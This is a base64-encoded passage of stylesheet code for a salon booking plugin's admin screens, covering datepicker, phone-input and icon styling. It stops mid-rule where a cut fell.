LS1hZG1pbiAuc2xuLWlucHV0LS1zaW1wbGUgI19zbG5fYm9va2luZ19waG9uZSB7XG4vLyBcdHBhZGRpbmctbGVmdDogNTBweDtcbi8vIH1cblxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1pbnB1dC0tc2ltcGxlIC5pdGkgLml0aV9fc2VsZWN0ZWQtZmxhZyB7XG4gIGNvbG9yOiAjMDAzNTUzO1xuICBmb250LXdlaWdodDogYm9sZDtcbn1cbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4taW5wdXQtLXNpbXBsZSAuaXRpX19hcnJvdyB7XG4gIGJvcmRlci10b3A6IDRweCBzb2xpZCAjMDA0MjU4O1xufVxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1pbnB1dC0tc2ltcGxlIC5pdGlfX2Fycm93LS11cCB7XG4gIGJvcmRlci10b3A6IG5vbmU7XG4gIGJvcmRlci1ib3R0b206IDRweCBzb2xpZCAjMDA0MjU4O1xufVxuI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1pbnB1dC0tc2ltcGxlIC5pdGlfX3NlbGVjdGVkLWZsYWc6YWZ0ZXIge1xuICBjb250ZW50OiAnICc7XG4gIGRpc3BsYXk6IGJsb2NrO1xuICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gIHRvcDogMDtcbiAgcmlnaHQ6IDA7XG4gIGJvdHRvbTogMDtcbiAgbGVmdDogMDtcbiAgb3BhY2l0eTogMC4yNTtcbn1cbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4taW5wdXQtLXNpbXBsZSAuaXRpX19zZWxlY3RlZC1mbGFnOmFmdGVyIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzAwNDI1ODtcbn1cblxuI3Nsbi1zYWxvbi0tYWRtaW4gLml0aSAuaXRpX19zZWxlY3RlZC1mbGFnIHtcbiAgY29sb3I6ICMwMDM1NTM7XG4gIGZvbnQtd2VpZ2h0OiBib2xkO1xufVxuI3Nsbi1zYWxvbi0tYWRtaW4gLml0aV9fYXJyb3cge1xuICBib3JkZXItdG9wOiA0cHggc29saWQgIzAwNDI1ODtcbn1cbiNzbG4tc2Fsb24tLWFkbWluIC5pdGlfX2Fycm93LS11cCB7XG4gIGJvcmRlci10b3A6IG5vbmU7XG4gIGJvcmRlci1ib3R0b206IDRweCBzb2xpZCAjMDA0MjU4O1xufVxuI3Nsbi1zYWxvbi0tYWRtaW4gLml0aV9fc2VsZWN0ZWQtZmxhZzphZnRlciB7XG4gIGNvbnRlbnQ6ICcgJztcbiAgZGlzcGxheTogYmxvY2s7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgdG9wOiAwO1xuICByaWdodDogMDtcbiAgYm90dG9tOiAwO1xuICBsZWZ0OiAwO1xuICBvcGFjaXR5OiAwLjI1O1xufVxuI3Nsbi1zYWxvbi0tYWRtaW4gLml0aV9fc2VsZWN0ZWQtZmxhZzphZnRlciB7XG4gIGJhY2tncm91bmQtY29sb3I6ICMwMDQyNTg7XG59XG5cbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICB0YWJsZVxuICB0clxuICB0ZC5kYXk6bm90KC5kaXNhYmxlZCk6aG92ZXIsXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgdGFibGVcbiAgdHJcbiAgdGQuZGF5LmFjdGl2ZTpub3QoLmRpc2FibGVkKSxcbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICAucHJldjpob3ZlcixcbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICAubmV4dDpob3Zlcixcbi5zbG4tZGF0ZXRpbWVwaWNrZXIgLnByZXY6aG92ZXIsXG4uc2xuLWRhdGV0aW1lcGlja2VyIC5uZXh0OmhvdmVyIHtcbiAgY29sb3I6ICNmZmY7XG59XG5cbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICB0YWJsZVxuICB0clxuICB0ZC5kYXkge1xuICBib3JkZXItc3R5bGU6IHNvbGlkO1xuICBib3JkZXItd2lkdGg6IDFweDtcbn1cblxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgLnNsbl9kYXRlcGlja2VyXG4gIHRhYmxlXG4gIHRyXG4gIHRkLmRheTpub3QoLmRpc2FibGVkKTpob3ZlcixcbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICB0YWJsZVxuICB0clxuICB0ZC5kYXkuYWN0aXZlOm5vdCguZGlzYWJsZWQpOmhvdmVyLFxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgLnNsbl9kYXRlcGlja2VyXG4gIC5wcmV2OmhvdmVyLFxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgLnNsbl9kYXRlcGlja2VyXG4gIC5uZXh0OmhvdmVyLFxuLnNsbi1kYXRldGltZXBpY2tlciAucHJldjpob3Zlcixcbi5zbG4tZGF0ZXRpbWVwaWNrZXIgLm5leHQ6aG92ZXIge1xuICBiYWNrZ3JvdW5kLWNvbG9yOiAjMDA5MWVhO1xufVxuXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgdGFibGVcbiAgdHJcbiAgdGQuZGF5Om5vdCguZGlzYWJsZWQpIHtcbiAgZm9udC13ZWlnaHQ6IGJvbGQ7XG59XG5cbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyIC5zbG5fZGF0ZXBpY2tlciB0ZCxcbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyIC5zbG5fZGF0ZXBpY2tlciB0aCxcbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICB0YWJsZVxuICB0clxuICB0ZC5kYXkge1xuICBmb250LXNpemU6IDFlbTtcbn1cblxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgLnNsbl9kYXRlcGlja2VyXG4gIC5mb3JtLWNvbnRyb2xbcmVhZG9ubHldIHtcbiAgY3Vyc29yOiBwb2ludGVyO1xufVxuXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhciAuc2xuX2RhdGVwaWNrZXIgLnN3aXRjaCB7XG4gIHBvaW50ZXItZXZlbnRzOiBub25lO1xufVxuXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhciAuc2xuX2RhdGVwaWNrZXIgLnByZXYsXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhciAuc2xuX2RhdGVwaWNrZXIgLm5leHQsXG4uc2xuLWRhdGV0aW1lcGlja2VyIC5wcmV2LFxuLnNsbi1kYXRldGltZXBpY2tlciAubmV4dCB7XG4gIGRpc3BsYXk6IGZsZXg7XG4gIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gIGp1c3RpZnktY29udGVudDogY2VudGVyO1xuICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gIHBhZGRpbmc6IDA7XG59XG4vKiBGSVggMDkyMDIzXG4jc2xuLXNhbG9uLS1hZG1pblxuICAgIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gICAgLnNsbl9kYXRlcGlja2VyXG4gICAgLnByZXY6YmVmb3JlLFxuLnNsbi1kYXRldGltZXBpY2tlciAucHJldjpiZWZvcmUsXG4jc2xuLXNhbG9uLS1hZG1pblxuICAgIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gICAgLnNsbl9kYXRlcGlja2VyXG4gICAgLm5leHQ6YmVmb3JlLFxuLnNsbi1kYXRldGltZXBpY2tlciAubmV4dDpiZWZvcmUge1xuICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgIGZvbnQtZmFtaWx5OiBcIk1hdGVyaWFsIEljb25zXCI7XG4gICAgZm9udC1zdHlsZTogbm9ybWFsO1xuICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gICAgbGluZS1oZWlnaHQ6IDE7XG4gICAgbGV0dGVyLXNwYWNpbmc6IG5vcm1hbDtcbiAgICB0ZXh0LXRyYW5zZm9ybTogbm9uZTtcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgICB3b3JkLXdyYXA6IG5vcm1hbDtcbiAgICBkaXJlY3Rpb246IGx0cjtcbiAgICAtd2Via2l0LWZvbnQtZmVhdHVyZS1zZXR0aW5nczogXCJsaWdhXCI7XG4gICAgLXdlYmtpdC1mb250LXNtb290aGluZzogYW50aWFsaWFzZWQ7XG4gICAgZm9udC1zaXplOiAxOHB4O1xuICAgIGxpbmUtaGVpZ2h0OiAwO1xuICAgIGxpbmUtaGVpZ2h0OiAxO1xufVxuXG5AbWVkaWEgc2NyZWVuIGFuZCAoLW1zLWhpZ2gtY29udHJhc3Q6IGFjdGl2ZSksICgtbXMtaGlnaC1jb250cmFzdDogbm9uZSkge1xuICAgICNzbG4tc2Fsb24tLWFkbWluXG4gICAgICAgIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gICAgICAgIC5zbG5fZGF0ZXBpY2tlclxuICAgICAgICAucHJldjpiZWZvcmUsXG4gICAgLnNsbi1kYXRldGltZXBpY2tlciAucHJldjpiZWZvcmUsXG4gICAgI3Nsbi1zYWxvbi0tYWRtaW5cbiAgICAgICAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgICAgICAgLnNsbl9kYXRlcGlja2VyXG4gICAgICAgIC5uZXh0OmJlZm9yZSxcbiAgICAuc2xuLWRhdGV0aW1lcGlja2VyIC5uZXh0OmJlZm9yZSB7XG4gICAgICAgIGZvbnQtZmFtaWx5OiBcIk1hdGVyaWFsIEljb25zXCI7XG4gICAgICAgIGZvbnQtc3R5bGU6IG5vcm1hbDtcbiAgICAgICAgZm9udC13ZWlnaHQ6IDQwMDtcbiAgICAgICAgbGluZS1oZWlnaHQ6IDE7XG4gICAgICAgIGxldHRlci1zcGFjaW5nOiBub3JtYWw7XG4gICAgICAgIHRleHQtdHJhbnNmb3JtOiBub25lO1xuICAgICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7XG4gICAgICAgIHdvcmQtd3JhcDogbm9ybWFsO1xuICAgICAgICBkaXJlY3Rpb246IGx0cjtcbiAgICAgICAgLXdlYmtpdC1mb250LWZlYXR1cmUtc2V0dGluZ3M6IFwibGlnYVwiO1xuICAgICAgICAtd2Via2l0LWZvbnQtc21vb3RoaW5nOiBhbnRpYWxpYXNlZDtcbiAgICAgICAgZm9udC1zaXplOiAxOHB4O1xuICAgICAgICBsaW5lLWhlaWdodDogMDtcbiAgICB9XG59XG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhciAuc2xuX2RhdGVwaWNrZXIgLnByZXYgaSxcbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyIC5zbG5fZGF0ZXBpY2tlciAubmV4dCBpLFxuLnNsbi1kYXRldGltZXBpY2tlciAucHJldiBpLFxuLnNsbi1kYXRldGltZXBpY2tlciAubmV4dCBpIHtcbiAgICBkaXNwbGF5OiBub25lO1xufVxuXG4jc2xuLXNhbG9uLS1hZG1pblxuICAgIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gICAgLnNsbl9kYXRlcGlja2VyXG4gICAgLnRhYmxlLWNvbmRlbnNlZFxuICAgIHRoZWFkXG4gICAgLnByZXY6YmVmb3JlLFxuLnNsbi1kYXRldGltZXBpY2tlciAucHJldjpiZWZvcmUge1xuICAgIGNvbnRlbnQ6IFwiYXJyb3dfZm9yd2FyZFwiO1xuICAgIHRyYW5zZm9ybTogcm90YXRlKDE4MGRlZyk7XG59XG5cbiNzbG4tc2Fsb24tLWFkbWluXG4gICAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgICAuc2xuX2RhdGVwaWNrZXJcbiAgICAudGFibGUtY29uZGVuc2VkXG4gICAgdGhlYWRcbiAgICAubmV4dDpiZWZvcmUsXG4uc2xuLWRhdGV0aW1lcGlja2VyIC5uZXh0OmJlZm9yZSB7XG4gICAgY29udGVudDogXCJhcnJvd19mb3J3YXJkXCI7XG59XG4qL1xuXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgdGFibGVcbiAgdHJcbiAgdGQuZGF5Om5vdCguZGlzYWJsZWQpIHtcbiAgY29sb3I6ICMxMTgzYzQ7XG59XG5cbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICB0YWJsZVxuICB0clxuICB0ZC5hY3RpdmU6aG92ZXIsXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgdGFibGVcbiAgdHJcbiAgdGQuYWN0aXZlLmRpc2FibGVkOmhvdmVyLFxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgLnNsbl9kYXRlcGlja2VyXG4gIHRhYmxlXG4gIHRyXG4gIHRkLmFjdGl2ZTphY3RpdmUsXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgdGFibGVcbiAgdHJcbiAgdGQuYWN0aXZlOmhvdmVyOmFjdGl2ZSxcbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICB0YWJsZVxuICB0clxuICB0ZC5hY3RpdmUuZGlzYWJsZWQ6YWN0aXZlLFxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgLnNsbl9kYXRlcGlja2VyXG4gIHRhYmxlXG4gIHRyXG4gIHRkLmFjdGl2ZS5kaXNhYmxlZDpob3ZlcjphY3RpdmUsXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgdGFibGVcbiAgdHJcbiAgdGQuYWN0aXZlLFxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgLnNsbl9kYXRlcGlja2VyXG4gIHRhYmxlXG4gIHRyXG4gIHRkLmFjdGl2ZS5kaXNhYmxlZCxcbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICB0YWJsZVxuICB0clxuICB0ZC5hY3RpdmVbZGlzYWJsZWRdLFxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgLnNsbl9kYXRlcGlja2VyXG4gIHRhYmxlXG4gIHRyXG4gIHRkLmFjdGl2ZTpob3ZlcltkaXNhYmxlZF0sXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgdGFibGVcbiAgdHJcbiAgdGQuYWN0aXZlLmRpc2FibGVkW2Rpc2FibGVkXSxcbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICB0YWJsZVxuICB0clxuICB0ZC5hY3RpdmUuZGlzYWJsZWQ6aG92ZXJbZGlzYWJsZWRdIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzAwNDI1ODtcbn1cblxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgLnNsbl9kYXRlcGlja2VyXG4gIHRhYmxlXG4gIHRyXG4gIHRkLmRheVxuICA6bm90KC5kaXNhYmxlZCkge1xuICBib3JkZXItY29sb3I6ICMxMTgzYzQ7XG59XG5cbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICB0YWJsZVxuICB0clxuICB0aCB7XG4gIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgbGluZS1oZWlnaHQ6IDE7XG59XG5cbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyIC5zbG5fZGF0ZXBpY2tlciB7XG4gIHdpZHRoOiAxMDAlO1xuICBiYWNrZ3JvdW5kLWNvbG9yOiAjZWZlZmVmO1xufVxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgLnNsbl9kYXRlcGlja2VyXG4gIC50YWJsZS1jb25kZW5zZWQge1xuICBib3JkZXItc3BhY2luZzogNXB4O1xuICBib3JkZXItY29sbGFwc2U6IHNlcGFyYXRlO1xuICB0YWJsZS1sYXlvdXQ6IGZpeGVkO1xufVxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgLnNsbl9kYXRlcGlja2VyXG4gIC50YWJsZS1jb25kZW5zZWRcbiAgdGhlYWRcbiAgdHJcbiAgdGgsXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgLnRhYmxlLWNvbmRlbnNlZFxuICB0aGVhZFxuICB0clxuICB0ZCxcbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICAudGFibGUtY29uZGVuc2VkXG4gIHRib2R5XG4gIHRyXG4gIHRoLFxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgLnNsbl9kYXRlcGlja2VyXG4gIC50YWJsZS1jb25kZW5zZWRcbiAgdGJvZHlcbiAgdHJcbiAgdGQge1xuICB3aWR0aDogdW5zZXQ7XG4gIG1heC13aWR0aDogdW5zZXQ7XG4gIGhlaWdodDogdW5zZXQ7XG4gIGJvcmRlcjogbm9uZTtcbiAgYm9yZGVyLXJhZGl1czogNTAlO1xuICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG59XG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgLnRhYmxlLWNvbmRlbnNlZFxuICB0aGVhZFxuICB0clxuICB0aFxuICAubnVtLFxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgLnNsbl9kYXRlcGlja2VyXG4gIC50YWJsZS1jb25kZW5zZWRcbiAgdGhlYWRcbiAgdHJcbiAgdGRcbiAgLm51bSB7XG4gIGRpc3BsYXk6IGZsZXg7XG4gIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gIGp1c3RpZnktY29udGVudDogY2VudGVyO1xuICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gIHRvcDogMDtcbiAgcmlnaHQ6IDA7XG4gIGJvdHRvbTogMDtcbiAgbGVmdDogMDtcbn1cbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICAudGFibGUtY29uZGVuc2VkXG4gIHRoZWFkXG4gIHRyXG4gIHRoXG4gIC5udW1iZyxcbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICAudGFibGUtY29uZGVuc2VkXG4gIHRoZWFkXG4gIHRyXG4gIHRkXG4gIC5udW1iZyB7XG4gIHBhZGRpbmctYm90dG9tOiAxMDAlO1xufVxuI3Nsbi1zYWxvbi0tYWRtaW5cbiAgLnNsbi1zZWxlY3Qtc3BlY2lmaWMtZGF0ZXMtY2FsZW5kYXJcbiAgLnNsbl9kYXRlcGlja2VyXG4gIC50YWJsZS1jb25kZW5zZWRcbiAgdGhlYWRcbiAgdGgge1xuICBmb250LXNpemU6IDFlbTtcbn1cbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICAudGFibGUtY29uZGVuc2VkXG4gIHRoZWFkXG4gIHRoOm5vdCgubmV4dCk6bm90KC5wcmV2KSB7XG4gIGNvbG9yOiAjNGI0YjRiO1xufVxuXG4jc2xuLXNhbG9uLS1hZG1pblxuICAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhclxuICAuc2xuX2RhdGVwaWNrZXJcbiAgLnRhYmxlLWNvbmRlbnNlZFxuICB0Ym9keVxuICB0clxuICB0aCxcbiNzbG4tc2Fsb24tLWFkbWluXG4gIC5zbG4tc2VsZWN0LXNwZWNpZmljLWRhdGVzLWNhbGVuZGFyXG4gIC5zbG5fZGF0ZXBpY2tlclxuICAudGFibGUtY29uZGVuc2VkXG4gIHRib2R5XG4gIHRyXG4gIHRkXG4gIC5udW0ge1xuICB3aWR0aDogMTAwJTtcbiAgbGluZS1oZWlnaHQ6IDIwcHg7XG59XG5cbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4tdGl0bGUtd3JhcHBlciB7XG4gIGRpc3BsYXk6IGZsZXg7XG4gIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gIGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2VlbjtcbiAgbWFyZ2luOiAxZW0gMDtcbn1cbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4tdGl0bGUtd3JhcHBlciAuc2xuLXN3aXRjaCB7XG4gIG1hcmdpbi1ib3R0b206IDA7XG59XG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLXRpdGxlLXdyYXBwZXIgaDMge1xuICBtYXJnaW4tYm90dG9tOiAwO1xufVxuXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLXNlbGVjdC1zcGVjaWZpYy1kYXRlcy1jYWxlbmRhciB7XG4gIG1hcmdpbi1ib3R0b206IDEuNjY2NjdyZW07XG59XG5cbi8vI3Nsbi1zYWxvbi0tYWRtaW4gLnNsbi1kaXNwbGF5LXNsb3RzLWN1c3RvbWVycy10aW1lem9uZSB7XG4vL21hcmdpbi10b3A6IDEycHg7XG4vL31cblxuLy8jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLWRpc3BsYXktc2xvdHMtY3VzdG9tZXJzLXRpbWV6b25lIHtcbi8vICBtYXJnaW4tdG9wOiAxMnB4O1xuLy99XG5cbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4tZGlzYWJsZWQge1xuICBvcGFjaXR5OiAwLjU7XG4gIHBvaW50ZXItZXZlbnRzOiBub25lO1xufVxuXG4jc2xuLXNhbG9uLS1hZG1pbiAuc2xuLWRpc2FibGVkLWZyZWUtdmVyc2lvbiB7XG4gIGZvbnQtc2l6ZTogMTJweDtcbiAgcG9zaXRpb246IHJlbGF0aXZlO1xuICBwYWRkaW5nLWxlZnQ6IDM1cHg7XG59XG5cbi8vI3Nsbi1zYWxvbi0tYWRtaW5cbi8vICAuc2xuLWRpc3BsYXktc2xvdHMtY3VzdG9tZXJzLXRpbWV6b25lXG4vLyAgLnNsbi1kaXNhYmxlZC1mcmVlLXZlcnNpb24ge1xuLy8gIG1hcmdpbi10b3A6IDEwcHg7XG4vL31cbi8qIEZJWCAwOTIwMjNcbiNzbG4tc2Fsb24tLWFkbWluIC5zbG4tZGlzYWJsZWQtZnJlZS12ZXJzaW9uOmJlZm9yZSB7XG4gICAgZm9udC1mYW1pbHk6IFwiTWF0ZXJpYWwgSWNvbnNcIjtcbiAgICBmb250LXN0eWxlOiBub3JtYWw7XG4gICAgZm9udC13ZWlnaHQ6IDQwMDtcbiAgICBsaW5lLWhlaWdodDogMTtcbiAgICBsZXR0ZXItc3BhY2luZzogbm9ybWFsO1xuICAgIHRleHQtdHJhbnNmb3JtOiBub25lO1xuICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICB3aGl0ZS1zcGFjZTogbm93cmFwO1xuICAgIHdvcmQtd3JhcDogbm9ybWFsO1xuICAgIGRpcmVjdGlvbjogbHRyO1xuICAgIC13ZWJraXQtZm9udC1mZWF0dXJlLXNldHRpbmdzOiBcImxpZ2FcIjtcbiAgICAtd2Via2l0LWZvbnQtc21vb3RoaW5nOiBhbnRpYWxpYXNlZDtcbiAgICBmb250LXNpemU6IDEuNWVtO1xuICAgIGxpbmUtaGVpZ2h0OiAwO1xuICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICBjb250ZW50OiBcImxvY2tcIjtcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgdG9wOiA1MCU7XG4gICAgbGVmdDogMTBweDtcbiAgICBmb250LXN0eWxlOiBub3JtYWw7XG4gICAgLXdlYmtpdC1mb250LXNtb290aGluZzogYW50aWFsaWFzZWQ7XG4gICAgLW1vei1vc3gtZm9udC1zbW9vdGhpbmc6IGdyYXlzY2FsZTtcbiAgICBib3JkZXItcmFkaXVzOiA1MCU7XG59XG5cbi5zbG4tYm9va2luZy1yZW1pbmRlcjpiZWZvcmUge1xuICAgIGZvbnQtZmFtaWx5OiBcIk1hdGVyaWFsIEljb25zXCI7XG4gICAgZm9udC1zdHlsZTogbm9ybWFsO1xuICAgIGZvbnQtd2VpZ2h0OiA0MDA7XG4gICAgbGluZS1oZWlnaHQ6IDE7XG4gICAgbGV0dGVyLXNwYWNpbmc6IG5vcm1hbDtcbiAgICB0ZXh0LXRyYW5zZm9ybTogbm9uZTtcbiAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgICB3b3JkLXdyYXA6IG5vcm1hbDtcbiAgICBkaXJlY3Rpb246IGx0cjtcbiAgICAtd2Via2l0LWZvbnQtZmVhdHVyZS1zZXR0aW5nczogXCJsaWdhXCI7XG4gICAgLXdlYmtpd